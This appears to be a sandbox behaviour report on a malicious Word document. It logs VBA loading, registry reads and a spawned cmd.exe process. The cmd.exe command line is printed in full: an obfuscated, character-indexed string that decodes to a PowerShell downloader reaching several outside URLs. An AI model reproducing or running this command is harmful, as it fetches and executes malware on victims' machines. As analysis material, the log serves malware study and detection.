Module Get Address module_name = Unknown module name, function = VarXor, address_out = 0x773dee2e True 1
Fn
Module Get Address module_name = Unknown module name, function = VarAbs, address_out = 0x773dca11 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarFix, address_out = 0x773dcc5f True 1
Fn
Module Get Address module_name = Unknown module name, function = VarInt, address_out = 0x773dcde7 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarNeg, address_out = 0x773dc802 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarNot, address_out = 0x773dec66 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarRound, address_out = 0x773dd155 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarCmp, address_out = 0x7737b0dc True 1
Fn
Module Get Address module_name = Unknown module name, function = VarDecAdd, address_out = 0x77395f3e True 1
Fn
Module Get Address module_name = Unknown module name, function = VarDecCmp, address_out = 0x77384fd0 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarBstrCat, address_out = 0x77380d2c True 1
Fn
Module Get Address module_name = Unknown module name, function = VarCyMulI4, address_out = 0x773959ed True 1
Fn
Module Get Address module_name = Unknown module name, function = VarBstrCmp, address_out = 0x7736f8b8 True 1
Fn
Module Get Handle module_name = ole32.dll, base_address = 0x77500000 True 1
Fn
Module Get Address module_name = Unknown module name, function = CoCreateInstanceEx, address_out = 0x77549d4e True 1
Fn
Module Get Address module_name = Unknown module name, function = CLSIDFromProgIDEx, address_out = 0x77510782 True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\VBA\Monitors False 1
Fn
System Get Time type = Local Time, time = 2018-08-01 04:17:53 (Local Time) True 2
Fn
Registry Create Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\VBA\7.1\Common True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\VBA\7.1\Common, value_name = RequireDeclaration, data = 0, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\VBA\7.1\Common, value_name = CompileOnDemand, data = 0, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\VBA\7.1\Common, value_name = NotifyUserBeforeStateLoss, data = 0, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\VBA\7.1\Common, value_name = BackGroundCompile, data = 0, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\VBA\7.1\Common, value_name = BreakOnAllErrors, data = 0, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\VBA\7.1\Common, value_name = BreakOnServerErrors, data = 0, type = REG_NONE False 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoMultiByteToWideChar@24, address_out = 0x6713ac03 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046} True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046} True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046}\8.6 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046}\8.6\409 False 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046}\8.6\9 False 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046}\8.6\0 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046}\8.6\0\win32 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046}\8.6\0 True 1
Fn
Registry Read Value reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046}\8.6\0\win32, data = C:\Program Files\Microsoft Office\Office15\MSWORD.OLB True 1
Fn
Module Get Filename process_name = c:\program files\microsoft office\office15\winword.exe, file_name_orig = C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA7.1\VBE7.DLL, size = 260 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046} True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046} True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046} True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0\win32 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0 True 1
Fn
Registry Read Value reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0\win32, data = C:\Windows\system32\stdole2.tlb True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52} True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52} True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52} True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}\2.7 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}\2.7\0 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}\2.7\0\win32 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}\2.7\0 True 1
Fn
Registry Read Value reg_name = HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}\2.7\0\win32, data = C:\Program Files\Common Files\Microsoft Shared\OFFICE15\MSO.DLL True 1
Fn
System Get Time type = Local Time, time = 2018-08-01 04:17:54 (Local Time) True 2
Fn
System Get Cursor x_out = 473, y_out = 836 True 1
Fn
System Get Time type = Local Time, time = 2018-08-01 04:17:54 (Local Time) True 2
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046} True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046} True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046}\8.6 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046}\8.6\409 False 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046}\8.6\9 False 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046}\8.6\0 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046}\8.6\0\win32 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046}\8.6\0 True 1
Fn
Registry Read Value reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046}\8.6\0\win32, data = C:\Program Files\Microsoft Office\Office15\MSWORD.OLB True 1
Fn
System Get Time type = Local Time, time = 2018-08-01 04:17:54 (Local Time) True 1
Fn
Module Get Filename process_name = c:\program files\microsoft office\office15\winword.exe, file_name_orig = C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA7.1\VBE7.DLL, size = 260 True 1
Fn
System Get Time type = Local Time, time = 2018-08-01 04:17:54 (Local Time) True 6
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 597, address_out = 0x6e720dd8 True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 600, address_out = 0x6e602b76 True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 575, address_out = 0x6e5d8d52 True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 608, address_out = 0x6e5d8aa8 True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 614, address_out = 0x6e721b68 True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 695, address_out = 0x6e5d9060 True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 714, address_out = 0x6e721eb2 True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 587, address_out = 0x6e7216aa True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 573, address_out = 0x6e5d9327 True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 585, address_out = 0x6e7210ab True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 582, address_out = 0x6e721b3d True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 583, address_out = 0x6e7212b8 True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 698, address_out = 0x6e5d8468 True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 584, address_out = 0x6e721bf4 True 1
Fn
System Get Time type = Local Time, time = 2018-08-01 04:17:55 (Local Time) True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 597, address_out = 0x6e720dd8 True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 600, address_out = 0x6e602b76 True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 575, address_out = 0x6e5d8d52 True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 608, address_out = 0x6e5d8aa8 True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 614, address_out = 0x6e721b68 True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 695, address_out = 0x6e5d9060 True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 714, address_out = 0x6e721eb2 True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 587, address_out = 0x6e7216aa True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 573, address_out = 0x6e5d9327 True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 585, address_out = 0x6e7210ab True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 582, address_out = 0x6e721b3d True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 583, address_out = 0x6e7212b8 True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 698, address_out = 0x6e5d8468 True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 584, address_out = 0x6e721bf4 True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 597, address_out = 0x6e720dd8 True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 600, address_out = 0x6e602b76 True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 575, address_out = 0x6e5d8d52 True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 608, address_out = 0x6e5d8aa8 True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 614, address_out = 0x6e721b68 True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 695, address_out = 0x6e5d9060 True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 714, address_out = 0x6e721eb2 True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 587, address_out = 0x6e7216aa True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 573, address_out = 0x6e5d9327 True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 585, address_out = 0x6e7210ab True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 582, address_out = 0x6e721b3d True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 583, address_out = 0x6e7212b8 True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 698, address_out = 0x6e5d8468 True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x6e530000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 584, address_out = 0x6e721bf4 True 1
Fn
Process #2: cmd.exe
2986 0
»
Information Value
ID #2
File Name c:\windows\system32\cmd.exe
Command Line cmd /V/C"set pPr=MOANtGXcfYQDJZlJqsHzDVpR-8Ix'$iS{@+vC2o=/(WFbjdh);gekUnaru}P7:E, wy0.\m&&for %D in (22;38;65;51;56;17;47;51;14;14;64;29;55;21;21;39;54;51;65;24;38;44;45;51;7;4;64;3;51;4;68;42;51;44;36;14;30;51;54;4;49;29;15;62;17;39;28;47;4;4;22;61;40;40;35;46;4;38;50;4;68;54;14;40;55;70;66;10;33;47;4;4;22;61;40;40;35;30;7;30;38;57;17;51;54;4;51;56;22;56;30;17;51;17;68;7;38;70;40;16;6;53;57;6;16;33;47;4;4;22;61;40;40;57;54;7;14;51;44;57;46;17;22;30;7;51;68;7;38;70;40;25;67;46;33;47;4;4;22;61;40;40;35;55;14;30;57;54;55;17;68;7;38;70;40;5;25;36;38;38;26;33;47;4;4;22;61;40;40;4;47;51;17;30;14;35;51;56;55;70;51;56;30;7;55;54;51;55;50;14;51;68;7;38;70;40;4;44;28;68;31;22;14;30;4;41;28;33;28;48;49;29;42;6;62;64;39;64;28;60;37;60;28;49;29;23;42;30;39;29;51;54;35;61;4;51;70;22;34;28;69;28;34;29;42;6;62;34;28;68;51;27;51;28;49;8;38;56;51;55;7;47;41;29;54;16;13;64;30;54;64;29;15;62;17;48;32;4;56;66;32;29;55;21;21;68;20;38;65;54;14;38;55;46;43;30;14;51;41;29;54;16;13;63;64;29;23;42;30;48;49;31;4;55;56;4;24;59;56;38;7;51;17;17;64;29;23;42;30;49;44;56;51;55;52;49;58;7;55;4;7;47;32;58;58;64;64;64;64;64;64;64;64;64;64;64;64;64;64;64;64;64;80)do set Zv=!Zv!!pPr:~%D,1!&&if %D==80 call %Zv:~-362%"
Initial Working Directory C:\Users\BGC6u8Oy yXGxkR\Desktop\
Monitor Start Time: 00:01:00, Reason: Child Process
Unmonitor End Time: 00:01:34, Reason: Self Terminated
Monitor Duration 00:00:34
OS Process Information
»
Information Value
PID 0xa34
Parent PID 0x9a4 (c:\program files\microsoft office\office15\winword.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username F71GWAT\BGC6u8Oy yXGxkR
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x A38
Region
»
Name Start VA End VA Type Permissions Monitored Dumped YARA Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory rw True False False -
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000040000 0x00040000 0x00040fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000050000 0x00050000 0x00056fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000060000 0x00060000 0x00061fff Pagefile Backed Memory rw True False False -
private_0x0000000000070000 0x00070000 0x00070fff Private Memory rw True False False -
private_0x0000000000080000 0x00080000 0x00080fff Private Memory rw True False False -
private_0x0000000000090000 0x00090000 0x0018ffff Private Memory rw True False False -
locale.nls 0x00190000 0x001f6fff Memory Mapped File r False False False -
pagefile_0x0000000000200000 0x00200000 0x002c7fff Pagefile Backed Memory r True False False -
private_0x0000000000360000 0x00360000 0x0045ffff Private Memory rw True False False -
pagefile_0x0000000000460000 0x00460000 0x00560fff Pagefile Backed Memory r True False False -
private_0x0000000000600000 0x00600000 0x0060ffff Private Memory rw True False False -
pagefile_0x0000000000610000 0x00610000 0x0120ffff Pagefile Backed Memory r True False False -
pagefile_0x0000000001210000 0x01210000 0x01372fff Pagefile Backed Memory r True False False -
cmd.exe 0x4a9d0000 0x4aa1bfff Memory Mapped File rwx True False False -
winbrand.dll 0x74120000 0x74126fff Memory Mapped File rwx False False False -
kernelbase.dll 0x75a10000 0x75a59fff Memory Mapped File rwx False False False -
msctf.dll 0x75d30000 0x75dfbfff Memory Mapped File rwx False False False -
msvcrt.dll 0x76040000 0x760ebfff Memory Mapped File rwx False False False -
gdi32.dll 0x76d40000 0x76d8dfff Memory Mapped File rwx False False False -
user32.dll 0x77170000 0x77238fff Memory Mapped File rwx False False False -
usp10.dll 0x77240000 0x772dcfff Memory Mapped File rwx False False False -
kernel32.dll 0x77760000 0x77833fff Memory Mapped File rwx False False False -
ntdll.dll 0x77840000 0x7797bfff Memory Mapped File rwx False False False -
imm32.dll 0x779a0000 0x779befff Memory Mapped File rwx False False False -
lpk.dll 0x77a20000 0x77a29fff Memory Mapped File rwx False False False -
apisetschema.dll 0x77a80000 0x77a80fff Memory Mapped File rwx False False False -
pagefile_0x000000007f6f0000 0x7f6f0000 0x7f7effff Pagefile Backed Memory r True False False -
pagefile_0x000000007ffb0000 0x7ffb0000 0x7ffd2fff Pagefile Backed Memory r True False False -
private_0x000000007ffda000 0x7ffda000 0x7ffdafff Private Memory rw True False False -
private_0x000000007ffdf000 0x7ffdf000 0x7ffdffff Private Memory rw True False False -
Threads
Thread 0xa38
2986 0
»
Category Operation Information Success Count Logfile
System Get Time type = System Time, time = 2018-08-01 10:17:55 (UTC) True 1
Fn
System Get Time type = Ticks, time = 117250 True 1
Fn
Module Get Handle module_name = c:\windows\system32\cmd.exe, base_address = 0x4a9d0000 True 1
Fn
Module Get Handle module_name = c:\windows\system32\kernel32.dll, base_address = 0x77760000 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = SetThreadUILanguage, address_out = 0x777b24c2 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System False 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 3
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
Environment Get Environment String - True 2
Fn
Data
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 112, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Module Get Filename process_name = c:\windows\system32\cmd.exe, file_name_orig = C:\Windows\system32\cmd.exe, size = 260 True 1
Fn
Environment Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 1
Fn
Environment Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 1
Fn
Environment Get Environment String name = PROMPT False 1
Fn
Environment Set Environment String name = PROMPT, value = $P$G True 1
Fn
Environment Get Environment String - True 1
Fn
Data
Environment Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Environment Get Environment String name = KEYS False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\Desktop, type = file_attributes True 2
Fn
Environment Set Environment String name = =C:, value = C:\Users\BGC6u8Oy yXGxkR\Desktop True 1
Fn
Environment Get Environment String - True 1
Fn
Data
Module Get Handle module_name = c:\windows\system32\kernel32.dll, base_address = 0x77760000 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = CopyFileExW, address_out = 0x7779ac6c True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = IsDebuggerPresent, address_out = 0x777a3ea8 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x777b2732 True 1
Fn
Environment Get Environment String name = D in (22;38;65;51;56;17;47;51;14;14;64;29;55;21;21;39;54;51;65;24;38;44;45;51;7;4;64;3;51;4;68;42;51;44;36;14;30;51;54;4;49;29;15;62;17;39;28;47;4;4;22;61;40;40;35;46;4;38;50;4;68;54;14;40;55;70;66;10;33;47;4;4;22;61;40;40;35;30;7;30;38;57;17;51;54;4;51;56;22;56;30;17;51;17;68;7;38;70;40;16;6;53;57;6;16;33;47;4;4;22;61;40;40;57;54;7;14;51;44;57;46;17;22;30;7;51;68;7;38;70;40;25;67;46;33;47;4;4;22;61;40;40;35;55;14;30;57;54;55;17;68;7;38;70;40;5;25;36;38;38;26;33;47;4;4;22;61;40;40;4;47;51;17;30;14;35;51;56;55;70;51;56;30;7;55;54;51;55;50;14;51;68;7;38;70;40;4;44;28;68;31;22;14;30;4;41;28;33;28;48;49;29;42;6;62;64;39;64;28;60;37;60;28;49;29;23;42;30;39;29;51;54;35;61;4;51;70;22;34;28;69;28;34;29;42;6;62;34;28;68;51;27;51;28;49;8;38;56;51;55;7;47;41;29;54;16;13;64;30;54;64;29;15;62;17;48;32;4;56;66;32;29;55;21;21;68;20;38;65;54;14;38;55;46;43;30;14;51;41;29;54;16;13;63;64;29;23;42;30;48;49;31;4;55;56;4;24;59;56;38;7;51;17;17;64;29;23;42;30;49;44;56;51;55;52;49;58;7;55;4;7;47;32;58;58;64;64;64;64;64;64;64;64;64;64;64;64;64;64;64;64;64;80)do set Zv=!Zv!!pPr False 1
Fn
Environment Get Environment String name = D,1!&&if False 1
Fn
Environment Get Environment String name = D==80 call False 1
Fn
Environment Get Environment String name = Zv False 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 33 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 20 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 9 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
